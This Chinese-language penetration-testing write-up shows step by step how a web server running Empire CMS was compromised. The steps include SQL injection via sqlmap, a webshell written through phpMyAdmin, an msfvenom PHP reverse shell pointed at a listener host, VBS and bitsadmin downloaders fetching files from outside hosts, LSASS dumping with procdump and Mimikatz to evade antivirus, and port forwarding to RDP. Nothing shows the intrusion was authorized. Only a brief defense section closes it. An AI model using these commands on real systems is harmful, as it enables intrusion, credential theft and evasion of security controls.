一次艰难的网站渗透
字数 1529 2025-08-18 11:38:41

网站渗透实战教学:从SQL注入到获取管理员权限

1. 信息收集阶段

1.1 初始侦察

  • 发现网站存在多个敏感文件:
    • php探针
    • phpinfo页面
    • phpmyadmin管理界面

1.2 CMS识别

  • 确认网站使用帝国CMS 7.2版本
  • 尝试常见弱口令登录失败
  • 尝试通用漏洞利用失败

1.3 端口扫描与域名反查

  • 扫描开放端口
  • 反查域名寻找潜在注入点
  • 定位最可能存在SQL注入的网站

2. SQL注入利用

2.1 发现注入点

  • 找到一个联合查询型注入点
  • 确认注入点为DBA权限
  • 已知网站绝对路径

2.2 尝试常规getshell方法

  1. os-shell命令执行:失败,可能被WAF拦截
  2. sqlmap文件写入
    sqlmap --file-write 本地文件地址 --file-dest 写入地址
    
    失败,无法找到写入的文件
  3. sql-shell执行SQL语句:失败,不支持非查询语句

2.3 读取配置文件

  • 利用帝国CMS配置文件固定位置特性:
    • 路径:e/config/config.php
  • 使用sqlmap读取:
    sqlmap --file-read=e/config/config.php
    
  • 成功获取数据库连接信息

3. phpMyAdmin利用

3.1 登录phpMyAdmin

  • 使用从配置文件中获取的密码登录

3.2 文件写入尝试

  1. 直接写入webshell
    • 执行SQL语句写入文件
    • 文件可访问但无法远程连接
  2. 本地命令执行验证
    <?php echo `ipconfig` ?>
    
    • 成功执行并输出结果
    • 确认只能本地执行,无法远程连接

3.3 反弹shell

  1. 将反弹脚本转换为16进制
  2. 通过phpMyAdmin上传
  3. 开启nc监听
  4. 访问上传文件,成功反弹shell
    • 获得最高权限
    • 发现存在360安全防护

4. 绕过安全防护获取凭证

4.1 发现限制

  • 无法直接添加用户
  • 无法上传Mimikatz(被杀毒拦截)

4.2 Procdump+Mimikatz方案

  1. Procdump工具
    • 微软官方提供,可绕过杀毒
    • 下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
  2. 两步操作
    # 1. 导出lsass.exe进程
    procdump64.exe -accepteula -ma lsass.exe lsass.dmp
    
    # 2. 本地使用Mimikatz解析
    mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
    

4.3 文件上传尝试

  1. VBS下载方法

    echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs
    cscript downfile.vbs http://192.168.40.13:9090/file/Library/5d5X9mSTZXjH9VlhXNN/x.txt D:\\tomcat8.5\\webapps\\x.jsp
    
    • 失败,被360拦截
  2. bitsadmin方法

    bitsadmin /transfer n http://www.xx.com/code.jpg c:\users\sdyp\desktop\ff.jpg
    
    • 失败,原因未知

5. Metasploit框架利用

5.1 生成PHP反弹木马

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 -f raw >text.php
  • 转换为16进制
  • 通过phpMyAdmin上传

5.2 获取Meterpreter会话

  1. 开启监听
  2. 访问上传的PHP文件
  3. 成功获取会话

5.3 导出lsass.dmp

  1. 上传procdump64.exe:
    upload /path/to/procdump64.exe /var/www/html/
    
  2. 执行导出:
    execute -f procdump64.exe -a "-accepteula -ma lsass.exe lsass.dmp"
    
  3. 下载lsass.dmp文件

5.4 获取明文密码

  1. 在相同内核的虚拟机上运行Mimikatz
  2. 解析lsass.dmp文件
  3. 获取管理员明文账户密码

6. 远程桌面连接

6.1 定位远程桌面服务

  1. 查看TermService进程:
    tasklist /svc
    
  2. 确认端口:
    netstat -ano
    
    • 发现修改后的端口为5277

6.2 端口转发

portfwd add -l 5555 -p 5277 -r 192.168.100.208

6.3 远程连接

  • 连接本地5555端口
  • 使用获取的凭证登录
  • 成功获取服务器控制权

7. 关键总结

  1. 多方法尝试:当一种攻击路径受阻时,需灵活切换其他方法
  2. 权限利用:高权限运行网站增加了渗透难度
  3. 安全防护绕过
    • 使用微软官方工具规避杀毒
    • 利用数据库功能上传文件
    • 反弹shell绕过正向连接限制
  4. 凭证获取技巧
    • Procdump+Mimikatz组合
    • 需要相同内核环境解析dump文件
  5. 端口转发:用于绕过修改后的默认服务端口

8. 防御建议

  1. 最小权限原则:Web应用不应以高权限运行
  2. 敏感文件防护
    • 删除或限制访问phpinfo、探针等文件
    • 修改phpMyAdmin默认路径
  3. 输入过滤
    • 有效防止SQL注入
    • 过滤特殊字符和命令
  4. 安全配置
    • 修改默认远程桌面端口
    • 启用网络级认证(NLA)
  5. 日志监控
    • 监控异常文件创建
    • 记录数据库管理操作
网站渗透实战教学:从SQL注入到获取管理员权限 1. 信息收集阶段 1.1 初始侦察 发现网站存在多个敏感文件: php探针 phpinfo页面 phpmyadmin管理界面 1.2 CMS识别 确认网站使用帝国CMS 7.2版本 尝试常见弱口令登录失败 尝试通用漏洞利用失败 1.3 端口扫描与域名反查 扫描开放端口 反查域名寻找潜在注入点 定位最可能存在SQL注入的网站 2. SQL注入利用 2.1 发现注入点 找到一个联合查询型注入点 确认注入点为DBA权限 已知网站绝对路径 2.2 尝试常规getshell方法 os-shell命令执行 :失败,可能被WAF拦截 sqlmap文件写入 : 失败,无法找到写入的文件 sql-shell执行SQL语句 :失败,不支持非查询语句 2.3 读取配置文件 利用帝国CMS配置文件固定位置特性: 路径: e/config/config.php 使用sqlmap读取: 成功获取数据库连接信息 3. phpMyAdmin利用 3.1 登录phpMyAdmin 使用从配置文件中获取的密码登录 3.2 文件写入尝试 直接写入webshell : 执行SQL语句写入文件 文件可访问但无法远程连接 本地命令执行验证 : 成功执行并输出结果 确认只能本地执行,无法远程连接 3.3 反弹shell 将反弹脚本转换为16进制 通过phpMyAdmin上传 开启nc监听 访问上传文件,成功反弹shell 获得最高权限 发现存在360安全防护 4. 绕过安全防护获取凭证 4.1 发现限制 无法直接添加用户 无法上传Mimikatz(被杀毒拦截) 4.2 Procdump+Mimikatz方案 Procdump工具 : 微软官方提供,可绕过杀毒 下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump 两步操作 : 4.3 文件上传尝试 VBS下载方法 : 失败,被360拦截 bitsadmin方法 : 失败,原因未知 5. Metasploit框架利用 5.1 生成PHP反弹木马 转换为16进制 通过phpMyAdmin上传 5.2 获取Meterpreter会话 开启监听 访问上传的PHP文件 成功获取会话 5.3 导出lsass.dmp 上传procdump64.exe: 执行导出: 下载lsass.dmp文件 5.4 获取明文密码 在相同内核的虚拟机上运行Mimikatz 解析lsass.dmp文件 获取管理员明文账户密码 6. 远程桌面连接 6.1 定位远程桌面服务 查看TermService进程: 确认端口: 发现修改后的端口为5277 6.2 端口转发 6.3 远程连接 连接本地5555端口 使用获取的凭证登录 成功获取服务器控制权 7. 关键总结 多方法尝试 :当一种攻击路径受阻时,需灵活切换其他方法 权限利用 :高权限运行网站增加了渗透难度 安全防护绕过 : 使用微软官方工具规避杀毒 利用数据库功能上传文件 反弹shell绕过正向连接限制 凭证获取技巧 : Procdump+Mimikatz组合 需要相同内核环境解析dump文件 端口转发 :用于绕过修改后的默认服务端口 8. 防御建议 最小权限原则 :Web应用不应以高权限运行 敏感文件防护 : 删除或限制访问phpinfo、探针等文件 修改phpMyAdmin默认路径 输入过滤 : 有效防止SQL注入 过滤特殊字符和命令 安全配置 : 修改默认远程桌面端口 启用网络级认证(NLA) 日志监控 : 监控异常文件创建 记录数据库管理操作